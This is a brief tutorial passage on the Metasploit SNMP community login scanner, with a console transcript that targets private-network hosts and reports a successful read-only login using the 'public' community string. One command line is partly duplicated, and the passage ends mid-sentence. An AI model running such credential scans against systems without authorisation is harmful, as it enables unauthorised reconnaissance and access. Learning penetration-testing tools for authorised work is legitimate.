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The SNMP Community Login Scanner auxiliary module logs into SNMP devices using common community names:

msf > use auxiliary/scanner/snmp/msf > use auxiliary/scanner/snmp/snmp_login msf auxiliary(snmp_login) > set RHOSTS 192.168.216.10,129RHOSTS => 192.168.216.10,129msf auxiliary(snmp_login) > run[+] 192.168.216.10:161 - Login Successful: public (Access level: read-only); Proof (sysDescr.0): Hardware: Intel64 Family 6 Model 70 Stepping 1 AT/AT COMPATIBLE - Software: Windows Version 6.1 (Build 7601 Multiprocessor Free)[*] Scanned 1 of 2 hosts (50% complete)[*] Scanned 2 of 2 hosts (100% complete)[*] Auxiliary module execution completedmsf auxiliary(snmp_login) >

We can gather loads of information using SNMP scanning modules, ...

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